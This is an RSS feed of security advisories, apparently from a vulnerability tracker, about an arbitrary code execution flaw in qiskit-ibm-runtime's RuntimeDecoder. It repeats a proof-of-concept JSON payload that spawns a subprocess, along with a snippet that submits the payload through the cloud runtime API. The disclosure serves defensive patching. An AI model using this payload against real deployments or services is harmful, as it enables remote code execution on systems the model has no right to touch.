<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
  <channel>
    <title>Most recent entries from all</title>
    <link>https://cve.radiocsirt.org</link>
    <description>Contains only the most 10 recent entries.</description>
    <docs>http://www.rssboard.org/rss-specification</docs>
    <generator>python-feedgen</generator>
    <language>en</language>
    <lastBuildDate>Mon, 12 Oct 2026 19:48:23 +0000</lastBuildDate>
    <item>
      <title>EUVD-2026-4596</title>
      <link>https://cve.radiocsirt.org/vuln/euvd-2026-4596</link>
      <description>EUVD-2026-4596</description>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/euvd-2026-4596</guid>
    </item>
    <item>
      <title>fkie_cve-2024-29032</title>
      <link>https://cve.radiocsirt.org/vuln/fkie_cve-2024-29032</link>
      <description>&lt;p&gt;Qiskit IBM Runtime is an environment that streamlines quantum computations and provides optimal implementations of the Qiskit quantum computing SDK. Starting in version 0.1.0 and prior to version 0.21.2, deserializing json data using `qiskit_ibm_runtime.RuntimeDecoder` can lead to arbitrary code execution given a correctly formatted input string. Version 0.21.2 contains a fix for this issue.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;Qiskit IBM Runtime is an environment that streamlines quantum computations and provides optimal implementations of the Qiskit quantum computing SDK. Starting in version 0.1.0 and prior to version 0.21.2, deserializing json data using `qiskit_ibm_runtime.RuntimeDecoder` can lead to arbitrary code execution given a correctly formatted input string. Version 0.21.2 contains a fix for this issue.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/fkie_cve-2024-29032</guid>
    </item>
    <item>
      <title>GHSA-x4x5-jv3x-9c7m — `qiskit_ibm_runtime.RuntimeDecoder` can execute arbitrary code</title>
      <link>https://cve.radiocsirt.org/vuln/ghsa-x4x5-jv3x-9c7m</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; PyPI: qiskit-ibm-runtime&lt;/p&gt;
&lt;p&gt;### Summary&lt;/p&gt;
&lt;p&gt;deserializing json data using `qiskit_ibm_runtime.RuntimeDecoder` can be made to execute arbitrary code given a correctly formatted input string&lt;/p&gt;
&lt;p&gt;### Details&lt;/p&gt;
&lt;p&gt;`RuntimeDecoder` is supposed to be able to deserialize JSON strings containing various special types encoded via `RuntimeEncoder`. However, one can structure a malicious payload to cause the decoder to spawn a subprocess and execute arbitrary code, exploiting this block of code: https://github.com/Qiskit/qiskit-ibm-runtime/blob/16e90f475e78a9d2ae77daa139ef750cfa84ca82/qiskit_ibm_runtime/utils/json.py#L156-L159&lt;/p&gt;
&lt;p&gt;### PoC&lt;/p&gt;
&lt;p&gt;```python
malicious_data = {
    &amp;#34;__type__&amp;#34;: &amp;#34;settings&amp;#34;,
    &amp;#34;__module__&amp;#34;: &amp;#34;subprocess&amp;#34;,
    &amp;#34;__class__&amp;#34;: &amp;#34;Popen&amp;#34;,
    &amp;#34;__value__&amp;#34;: {
        &amp;#34;args&amp;#34;: [&amp;#34;echo&amp;#34;, &amp;#34;hi&amp;#34;]
    },
}
json_str = json.dumps(malicious_data)&lt;/p&gt;
&lt;p&gt;_ = json.loads(json_str, cls=qiskit_ibm_runtime.RuntimeDecoder)  # prints &amp;#34;hi&amp;#34; to the terminal
```
(where obviously &amp;#34;echo hi&amp;#34; can be replaced with something much more malicious)&lt;/p&gt;
&lt;p&gt;notably the following also makes it through the runtime API, with `malicious_data` serialized client-side via `RuntimeEncoder` (and therefore presumably deserialized server-side via `RuntimeDecoder`?)
```python
service = qiskit_ibm_runtime(&amp;lt;ibm_cloud_credentials&amp;gt;)
job = service.run(&amp;#34;qasm3-runner&amp;#34;, malicious_data)
print(job.status())  # prints &amp;#34;JobStatus.QUEUED&amp;#34;
```&lt;/p&gt;
&lt;p&gt;### Impact&lt;/p&gt;
&lt;p&gt;i don&amp;#39;t know if `qiskit_ibm_runtime.RuntimeDecoder` is used server-side so this may or may not be a serious vulnerability on your…&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; PyPI: qiskit-ibm-runtime&lt;/p&gt;
&lt;p&gt;### Summary&lt;/p&gt;
&lt;p&gt;deserializing json data using `qiskit_ibm_runtime.RuntimeDecoder` can be made to execute arbitrary code given a correctly formatted input string&lt;/p&gt;
&lt;p&gt;### Details&lt;/p&gt;
&lt;p&gt;`RuntimeDecoder` is supposed to be able to deserialize JSON strings containing various special types encoded via `RuntimeEncoder`. However, one can structure a malicious payload to cause the decoder to spawn a subprocess and execute arbitrary code, exploiting this block of code: https://github.com/Qiskit/qiskit-ibm-runtime/blob/16e90f475e78a9d2ae77daa139ef750cfa84ca82/qiskit_ibm_runtime/utils/json.py#L156-L159&lt;/p&gt;
&lt;p&gt;### PoC&lt;/p&gt;
&lt;p&gt;```python
malicious_data = {
    &amp;#34;__type__&amp;#34;: &amp;#34;settings&amp;#34;,
    &amp;#34;__module__&amp;#34;: &amp;#34;subprocess&amp;#34;,
    &amp;#34;__class__&amp;#34;: &amp;#34;Popen&amp;#34;,
    &amp;#34;__value__&amp;#34;: {
        &amp;#34;args&amp;#34;: [&amp;#34;echo&amp;#34;, &amp;#34;hi&amp;#34;]
    },
}
json_str = json.dumps(malicious_data)&lt;/p&gt;
&lt;p&gt;_ = json.loads(json_str, cls=qiskit_ibm_runtime.RuntimeDecoder)  # prints &amp;#34;hi&amp;#34; to the terminal
```
(where obviously &amp;#34;echo hi&amp;#34; can be replaced with something much more malicious)&lt;/p&gt;
&lt;p&gt;notably the following also makes it through the runtime API, with `malicious_data` serialized client-side via `RuntimeEncoder` (and therefore presumably deserialized server-side via `RuntimeDecoder`?)
```python
service = qiskit_ibm_runtime(&amp;lt;ibm_cloud_credentials&amp;gt;)
job = service.run(&amp;#34;qasm3-runner&amp;#34;, malicious_data)
print(job.status())  # prints &amp;#34;JobStatus.QUEUED&amp;#34;
```&lt;/p&gt;
&lt;p&gt;### Impact&lt;/p&gt;
&lt;p&gt;i don&amp;#39;t know if `qiskit_ibm_runtime.RuntimeDecoder` is used server-side so this may or may not be a serious vulnerability on your…&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/ghsa-x4x5-jv3x-9c7m</guid>
    </item>
    <item>
      <title>gsd-2024-29032</title>
      <link>https://cve.radiocsirt.org/vuln/gsd-2024-29032</link>
      <description>gsd-2024-29032</description>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/gsd-2024-29032</guid>
    </item>
    <item>
      <title>PYSEC-2026-1858 — `qiskit_ibm_runtime.RuntimeDecoder` can execute arbitrary code</title>
      <link>https://cve.radiocsirt.org/vuln/pysec-2026-1858</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; PyPI: qiskit-ibm-runtime&lt;/p&gt;
&lt;p&gt;### Summary&lt;/p&gt;
&lt;p&gt;deserializing json data using `qiskit_ibm_runtime.RuntimeDecoder` can be made to execute arbitrary code given a correctly formatted input string&lt;/p&gt;
&lt;p&gt;### Details&lt;/p&gt;
&lt;p&gt;`RuntimeDecoder` is supposed to be able to deserialize JSON strings containing various special types encoded via `RuntimeEncoder`. However, one can structure a malicious payload to cause the decoder to spawn a subprocess and execute arbitrary code, exploiting this block of code: https://github.com/Qiskit/qiskit-ibm-runtime/blob/16e90f475e78a9d2ae77daa139ef750cfa84ca82/qiskit_ibm_runtime/utils/json.py#L156-L159&lt;/p&gt;
&lt;p&gt;### PoC&lt;/p&gt;
&lt;p&gt;```python
malicious_data = {
    &amp;#34;__type__&amp;#34;: &amp;#34;settings&amp;#34;,
    &amp;#34;__module__&amp;#34;: &amp;#34;subprocess&amp;#34;,
    &amp;#34;__class__&amp;#34;: &amp;#34;Popen&amp;#34;,
    &amp;#34;__value__&amp;#34;: {
        &amp;#34;args&amp;#34;: [&amp;#34;echo&amp;#34;, &amp;#34;hi&amp;#34;]
    },
}
json_str = json.dumps(malicious_data)&lt;/p&gt;
&lt;p&gt;_ = json.loads(json_str, cls=qiskit_ibm_runtime.RuntimeDecoder)  # prints &amp;#34;hi&amp;#34; to the terminal
```
(where obviously &amp;#34;echo hi&amp;#34; can be replaced with something much more malicious)&lt;/p&gt;
&lt;p&gt;notably the following also makes it through the runtime API, with `malicious_data` serialized client-side via `RuntimeEncoder` (and therefore presumably deserialized server-side via `RuntimeDecoder`?)
```python
service = qiskit_ibm_runtime(&amp;lt;ibm_cloud_credentials&amp;gt;)
job = service.run(&amp;#34;qasm3-runner&amp;#34;, malicious_data)
print(job.status())  # prints &amp;#34;JobStatus.QUEUED&amp;#34;
```&lt;/p&gt;
&lt;p&gt;### Impact&lt;/p&gt;
&lt;p&gt;i don&amp;#39;t know if `qiskit_ibm_runtime.RuntimeDecoder` is used server-side so this may or may not be a serious vulnerability on your…&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; PyPI: qiskit-ibm-runtime&lt;/p&gt;
&lt;p&gt;### Summary&lt;/p&gt;
&lt;p&gt;deserializing json data using `qiskit_ibm_runtime.RuntimeDecoder` can be made to execute arbitrary code given a correctly formatted input string&lt;/p&gt;
&lt;p&gt;### Details&lt;/p&gt;
&lt;p&gt;`RuntimeDecoder` is supposed to be able to deserialize JSON strings containing various special types encoded via `RuntimeEncoder`. However, one can structure a malicious payload to cause the decoder to spawn a subprocess and execute arbitrary code, exploiting this block of code: https://github.com/Qiskit/qiskit-ibm-runtime/blob/16e90f475e78a9d2ae77daa139ef750cfa84ca82/qiskit_ibm_runtime/utils/json.py#L156-L159&lt;/p&gt;
&lt;p&gt;### PoC&lt;/p&gt;
&lt;p&gt;```python
malicious_data = {
    &amp;#34;__type__&amp;#34;: &amp;#34;settings&amp;#34;,
    &amp;#34;__module__&amp;#34;: &amp;#34;subprocess&amp;#34;,
    &amp;#34;__class__&amp;#34;: &amp;#34;Popen&amp;#34;,
    &amp;#34;__value__&amp;#34;: {
        &amp;#34;args&amp;#34;: [&amp;#34;echo&amp;#34;, &amp;#34;hi&amp;#34;]
    },
}
json_str = json.dumps(malicious_data)&lt;/p&gt;
&lt;p&gt;_ = json.loads(json_str, cls=qiskit_ibm_runtime.RuntimeDecoder)  # prints &amp;#34;hi&amp;#34; to the terminal
```
(where obviously &amp;#34;echo hi&amp;#34; can be replaced with something much more malicious)&lt;/p&gt;
&lt;p&gt;notably the following also makes it through the runtime API, with `malicious_data` serialized client-side via `RuntimeEncoder` (and therefore presumably deserialized server-side via `RuntimeDecoder`?)
```python
service = qiskit_ibm_runtime(&amp;lt;ibm_cloud_credentials&amp;gt;)
job = service.run(&amp;#34;qasm3-runner&amp;#34;, malicious_data)
print(job.status())  # prints &amp;#34;JobStatus.QUEUED&amp;#34;
```&lt;/p&gt;
&lt;p&gt;### Impact&lt;/p&gt;
&lt;p&gt;i don&amp;#39;t know if `qiskit_ibm_runtime.RuntimeDecoder` is used server-side so this may or may not be a serious vulnerability on your…&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/pysec-2026-1858</guid>
    </item>
  </channel>
</rss>
